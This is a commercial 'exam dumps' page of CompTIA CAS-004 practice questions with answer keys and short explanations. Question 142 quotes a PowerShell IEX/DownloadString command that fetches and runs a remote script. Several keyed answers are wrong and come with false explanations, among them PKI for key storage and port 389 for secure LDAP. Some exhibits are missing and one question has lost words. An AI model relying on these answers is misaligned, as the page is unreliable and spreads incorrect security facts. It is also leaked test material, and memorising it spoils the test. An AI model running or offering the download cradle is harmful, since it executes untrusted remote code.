New CompTIA CAS-004 Dumps & Questions Updated on 2024

Dumps to Pass your CAS-004 Exam with 100% Real Questions and Answers

The CASP+ exam covers a wide range of security topics, including risk management, enterprise security architecture, research and collaboration, integration of computing, communications, and business disciplines, and technical integration of enterprise components. CAS-004 exam is designed to assess the candidate's ability to implement and manage security solutions that are effective against advanced threats, as well as their ability to analyze and interpret security data to make informed decisions.

 

NEW QUESTION # 133
A company is migrating from company-owned phones to a BYOD strategy for mobile devices. The pilot program will start with the executive management team and be rolled out to the rest of the staff in phases. The company's Chief Financial Officer loses a phone multiple times a year.
Which of the following will MOST likely secure the data on the lost device?

• A. Require MFA to access company applications.
• B. Require a VPN to be active to access company data.
• C. Set up different profiles based on the person's risk.
• D. Remotely wipe the device.

Answer: D

Explanation:
Remotely wiping the device is the best way to secure the data on the lost device, as it would erase all the data and prevent unauthorized access. Requiring a VPN to be active to access company data may not protect the data on the device itself, as it could be stored locally or cached. Setting up different profiles based on the person's risk may not prevent data loss or theft, as it depends on the level of access and encryption. Requiring MFA to access company applications may not protect the data on the device itself, as it could be stored locally or cached. Verified Reference: https://www.comptia.org/blog/what-is-byod https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION # 134
As part of the asset management life cycle, a company engages a certified equipment disposal vendor to appropriately recycle and destroy company assets that are no longer in use. As part of the company's vendor due diligence, which of the following would be MOST important to obtain from the vendor?

• A. A copy of the procedures used to demonstrate compliance with certification requirements.
• B. A copy of the vendor's information security policies.
• C. A copy of the current audit reports and certifications held by the vendor.
• D. A signed NDA that covers all the data contained on the corporate systems.

Answer: A

NEW QUESTION # 135
A video-game developer has received reports of players who are cheating.
All game players each have five capabilities that are ranked on a scale of 1 to 10 points, with 10 total points available for balance.
Players can move these points between capabilities at any time.
The programming logic is as follows:
- A player asks to move points from one capability to another
- The source capability must have enough points to allow the move
- The destination capability must not exceed 10 after the move
- The move from source capability to destination capability is then
completed
The time stamps of the game logs show each step of the transfer process takes about 900ms.
However, the time stamps of the cheating players show capability transfers at the exact same time.
The cheating players have 10 points in multiple capabilities.
Which of the following is MOST likely being exploited to allow these capability transfers?

• A. Integer overflow
• B. TOC/TOU
• C. SQL injection
• D. XSS
• E. Memory leak
• F. CSRF

Answer: B

Explanation:
The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

NEW QUESTION # 136
A security administrator wants to detect a potential forged sender claim in tt-e envelope of an email.
Which of the following should the security administrator implement? (Select TWO).

• A. S/MIME
• B. DNSSEC
• C. TLS
• D. SPF
• E. MX record
• F. DMARC

Answer: D,F

Explanation:
Explanation
DMARC (Domain-based Message Authentication, Reporting and Conformance) and SPF (Sender Policy Framework) are two mechanisms that can help detect and prevent email spoofing, which is the creation of email messages with a forged sender address. DMARC allows a domain owner to publish a policy that specifies how receivers should handle messages that fail authentication tests, such as SPF or DKIM (DomainKeys Identified Mail). SPF allows a domain owner to specify which mail servers are authorized to send email on behalf of their domain. By checking the DMARC and SPF records of the sender's domain, a receiver can verify if the email is from a legitimate source or not. Verified References:
https://en.wikipedia.org/wiki/Email_spoofing
https://en.wikipedia.org/wiki/DMARC
https://en.wikipedia.org/wiki/Sender_Policy_Framework

NEW QUESTION # 137
An energy company is required to report the average pressure of natural gas used over the past quarter. A PLC sends data to a historian server that creates the required reports.
Which of the following historian server locations will allow the business to get the required reports in an and IT environment?

• A. In the environment, allow IT traffic into the environment.
• B. Use a screened subnet between the and IT environments.
• C. In the environment, use a VPN from the IT environment into the environment.
• D. In the IT environment, allow PLCs to send data from the environment to the IT environment.

Answer: D

NEW QUESTION # 138
An organization recently started processing, transmitting, and storing its customers' credit card information.
Within a week of doing so, the organization suffered a massive breach that resulted in the exposure of the customers' information.
Which of the following provides the BEST guidance for protecting such information while it is at rest and in transit?

• A. ISO
• B. NIST
• C. PCI DSS
• D. GDPR

Answer: C

Explanation:
Explanation
PCI DSS (Payment Card Industry Data Security Standard) is a standard that provides the best guidance for protecting credit card information while it is at rest and in transit. PCI DSS is a standard that defines the security requirements and best practices for organizations that process, store, or transmit credit card information, such as merchants, service providers, or acquirers. PCI DSS aims to protect the confidentiality, integrity, and availability of credit card information and prevent fraud or identity theft. NIST (National Institute of Standards and Technology) is not a standard that provides the best guidance for protecting credit card information, but an agency that develops standards, guidelines, and recommendations for various fields of science and technology, including cybersecurity. GDPR (General Data Protection Regulation) is not a standard that provides the best guidance for protecting credit card information, but a regulation that defines the data protection and privacy rights and obligations for individuals and organizations in the European Union or the European Economic Area. ISO (International Organization for Standardization) is not a standard that provides the best guidance for protecting credit card information, but an organization that develops standards for various fields of science and technology, including information security. Verified References:
https://www.comptia.org/blog/what-is-pci-dss
https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION # 139
A security analyst is using data provided from a recent penetration test to calculate CVSS scores to prioritize remediation. Which of the following metric groups would the analyst need to determine to get the overall scores? (Select THREE).

• A. Environmental
• B. Integrity
• C. Impact
• D. Temporal
• E. Confidentiality
• F. Base
• G. Attack vector
• H. Availability

Answer: A,D,F

Explanation:
The three metric groups that are needed to calculate CVSS scores are Base, Temporal, and Environmental. The Base metrics represent the intrinsic characteristics of a vulnerability that are constant over time and across user environments. The Temporal metrics represent the characteristics of a vulnerability that may change over time but not across user environments. The Environmental metrics represent the characteristics of a vulnerability that are relevant and unique to a particular user's environment. Verified Reference:
https://nvd.nist.gov/vuln-metrics/cvss
https://www.first.org/cvss/specification-document

NEW QUESTION # 140
A security analyst is concerned that a malicious piece of code was downloaded on a Linux system. After some research, the analyst determines that the suspected piece of code is performing a lot of input/output (I/O) on the disk drive.

Based on the output above, from which of the following process IDs can the analyst begin an investigation?

• A. 0
• B. 1
• C. 2
• D. 3

Answer: B

NEW QUESTION # 141
During an audit, it was determined from a sample that four out of 20 former employees were still accessing their email accounts.
An information security analyst is reviewing the access to determine if the audit was valid.
Which of the following would assist with the validation and provide the necessary documentation to audit?

• A. Checking social media platforms for disclosure of company sensitive and proprietary information
• B. Examining the termination notification process from human resources and employee account access logs
• C. Reviewing the email global account list and the collaboration platform for recent activity
• D. Sending a test email to the former employees to document an undeliverable email and review the ERP access

Answer: B

NEW QUESTION # 142
A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl');whois Which of the following security controls would have alerted and prevented the next phase of the attack?

• A. Reverse proxy and sandbox
• B. EDR and application approved list
• C. Forward proxy and MFA
• D. Antivirus and UEBA

Answer: B

Explanation:
Explanation
An EDR and whitelist should protect from this attack.

NEW QUESTION # 143
A third-party organization has implemented a system that allows it to analyze customers' data and deliver analysis results without being able to see the raw data. Which of the following is the organization implementing?

• A. Asynchronous keys
• B. Homomorphic encryption
• C. Data lake
• D. Machine learning

Answer: B

Explanation:
The third-party organization is implementing Homomorphic encryption, which is a technique used to perform computations on encrypted data. In this approach, data is encrypted before it is sent to the third-party, and the analysis is performed on the encrypted data, without the third- party seeing the original data. The results are then returned to the customer in encrypted form, which can be decrypted to obtain the analysis results.

NEW QUESTION # 144
An organization is establishing a new software assurance program to vet applications before they are introduced into the production environment, Unfortunately. many Of the applications are provided only as compiled binaries. Which Of the following should the organization use to analyze these applications? (Select TWO).

• A. SAST
• B. IDE SAST
• C. Fuzz testing
• D. IAST
• E. Regression testing
• F. Third-party dependency management

Answer: B,C

NEW QUESTION # 145
A financial institution has several that currently employ the following controls:
* The severs follow a monthly patching cycle.
* All changes must go through a change management process.
* Developers and systems administrators must log into a jumpbox to access the servers hosting the data using two-factor authentication.
* The servers are on an isolated VLAN and cannot be directly accessed from the internal production network.
An outage recently occurred and lasted several days due to an upgrade that circumvented the approval process.
Once the security team discovered an unauthorized patch was installed, they were able to resume operations within an hour. Which of the following should the security administrator recommend to reduce the time to resolution if a similar incident occurs in the future?

• A. Implement file integrity monitoring with automated alerts on the servers.
• B. Require more than one approver for all change management requests.
• C. Disable automatic patch update capabilities on the servers
• D. Enhanced audit logging on the jump servers and ship the logs to the SIEM.

Answer: A

NEW QUESTION # 146
A developer implement the following code snippet.

Which of the following vulnerabilities does the code snippet resolve?

• A. Information leakage
• B. SQL inject
• C. Buffer overflow
• D. Missing session limit

Answer: A

NEW QUESTION # 147
A security architect updated the security policy to require a proper way to verify that packets received between two parties have not been tampered with and the connection remains private. Which of the following cryptographic techniques can be used to ensure the security policy is being enforced properly?

• A. PBKDF2
• B. MD5-based envelope method
• C. PGP
• D. HMAC SHA256

Answer: D

Explanation:
The company should use HMAC SHA256 as a cryptographic technique to ensure that packets received between two parties have not been tampered with and the connection remains private. HMAC stands for hash-based message authentication code, which is a method of generating a message authentication code using a cryptographic hash function and a secret key. HMAC can provide both integrity and authenticity of the packets, as well as resistance to replay attacks. SHA256 is a specific hash function that produces a 256-bit output. SHA256 is considered secure and widely used in various cryptographic applications. Verified Reference:
https://www.ericsson.com/en/blog/2021/7/cryptography-and-privacy-protecting-private-data
https://www.mdpi.com/journal/cryptography/special_issues/Preserve_Enhance_Privacy
https://link.springer.com/article/10.1007/s11432-021-3393-x

NEW QUESTION # 148
A company is implementing a new secure identity application, given the following requirements:
- The cryptographic secrets used in the application must never be
exposed to users or the OS
- The application must work on mobile devices.
- The application must work with the company's badge reader system
Which of the following mobile device specifications are required for this design? (Choose two.)

• A. Biometrics
• B. HSM
• C. UEFI
• D. SEAndroid
• E. NFC
• F. Secure element

Answer: A,E

NEW QUESTION # 149
An auditor Is reviewing the logs from a web application to determine the source of an Incident. The web application architecture Includes an Internet-accessible application load balancer, a number of web servers In a private subnet, application servers, and one database server In a tiered configuration. The application load balancer cannot store the logs. The following are sample log snippets:

Which of the following should the auditor recommend to ensure future incidents can be traced back to the sources?

• A. Enable the x-Forwarded-For header al the load balancer.
• B. Install a software-based HIDS on the application servers.
• C. Store the value of the $_server ( ' REMOTE_ADDR ' ] received by the web servers.
• D. Install a certificate signed by a trusted CA.
• E. Use stored procedures on the database server.

Answer: D

NEW QUESTION # 150
A Chief Information Security Officer (CISO) is creating a security committee involving multiple business units of the corporation.
Which of the following is the BEST justification to ensure collaboration across business units?

• A. A risk to one business unit is a risk avoided by all business units, and liberal BYOD policies create new and unexpected avenues for attackers to exploit enterprises.
• B. The CISO is uniquely positioned to control the flow of vulnerability information between business units.
• C. Without business unit collaboration, risks introduced by one unit that affect another unit may go without compensating controls.
• D. A single point of coordination is required to ensure cybersecurity issues are addressed in protected, compartmentalized groups.

Answer: C

NEW QUESTION # 151
A company publishes several APIs for customers and is required to use keys to segregate customer data sets.
Which of the following would be BEST to use to store customer keys?

• A. A localized key store
• B. A trusted platform module
• C. A hardware security module
• D. A public key infrastructure

Answer: D

Explanation:
A public key infrastructure (PKI) is a system of certificates and keys that can provide encryption and authentication for APIs (application programming interfaces). A PKI can be used to store customer keys for accessing APIs and segregating customer data sets. A trusted platform module (TPM) is a hardware device that provides cryptographic functions and key storage, but it is not suitable for storing customer keys for APIs. A hardware security module (HSM) is similar to a TPM, but it is used for storing keys for applications, not for APIs. A localized key store is a software component that stores keys locally, but it is not as secure or scalable as a PKI. Verified Reference: https://www.comptia.org/blog/what-is-pki https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION # 152
A company that uses AD is migrating services from LDAP to secure LDAP. During the pilot phase, services are not connecting properly to secure LDAP. Block is an except of output from the troubleshooting session:

Which of the following BEST explains why secure LDAP is not working? (Select TWO.)

• A. Secure LDAP should be running on UDP rather than TCP.
• B. The company is using the wrong port. It should be using port 389 for secure LDAP.
• C. The clients may not trust idapt by default.
• D. Danvills.com is under a DDoS-inator attack and cannot respond to OCSP requests.
• E. The clients may not trust Chicago by default.
• F. The secure LDAP service is not started, so no connections can be made.
• G. Secure LDAP does not support wildcard certificates.

Answer: B,F

NEW QUESTION # 153
A cybersecurity analyst receives a ticket that indicates a potential incident is occurring. There has been a large in log files generated by a generated by a website containing a ''Contact US'' form. The analyst must determine if the increase in website traffic is due to a recent marketing campaign of if this is a potential incident. Which of the following would BEST assist the analyst?

• A. Deploy a WAF in front of the public website
• B. Running the website log files through a log reduction and analysis tool
• C. Checking for new rules from the inbound network IPS vendor
• D. Ensuring proper input validation is configured on the ''Contact US'' form

Answer: B

NEW QUESTION # 154
......

Updated Exam CAS-004 Dumps with New Questions: https://www.vce4dumps.com/CAS-004-valid-torrent.html

Today Updated CAS-004 Exam Dumps Actual Questions: https://drive.google.com/open?id=1PJFyNCKznpD2urnBtfbbA7DGC9Ks7o1I